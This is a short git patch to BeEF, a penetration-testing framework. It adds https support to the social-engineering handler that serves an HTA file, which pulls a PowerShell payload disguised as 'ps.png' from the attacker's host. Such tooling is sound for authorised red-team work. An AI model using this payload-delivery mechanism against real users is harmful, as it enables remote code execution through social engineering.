From 870afd617e7df8215f5c63af7462142bec1ed8b4 Mon Sep 17 00:00:00 2001 From: Matthew C Jones Date: Wed, 17 Jan 2018 17:21:24 -0500 Subject: [PATCH] add https support to bind_powershell --- extensions/social_engineering/powershell/bind_powershell.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/extensions/social_engineering/powershell/bind_powershell.rb b/extensions/social_engineering/powershell/bind_powershell.rb index d6409dc5a..7584e45a9 100644 --- a/extensions/social_engineering/powershell/bind_powershell.rb +++ b/extensions/social_engineering/powershell/bind_powershell.rb @@ -30,8 +30,9 @@ module BeEF response['Content-Type'] = "application/hta" host = BeEF::Core::Configuration.instance.get('beef.http.public') || BeEF::Core::Configuration.instance.get('beef.http.host') port = BeEF::Core::Configuration.instance.get('beef.http.public_port') || BeEF::Core::Configuration.instance.get('beef.http.port') + proto = BeEF::Core::Configuration.instance.get("beef.http.https.enable") == true ? "https" : "http" ps_url = BeEF::Core::Configuration.instance.get('beef.extension.social_engineering.powershell.powershell_handler_url') - payload_url = "http://#{host}:#{port}#{ps_url}/ps.png" + payload_url = "#{proto}://#{host}:#{port}#{ps_url}/ps.png" print_info "Serving HTA. Powershell payload will be retrieved from: #{payload_url}" "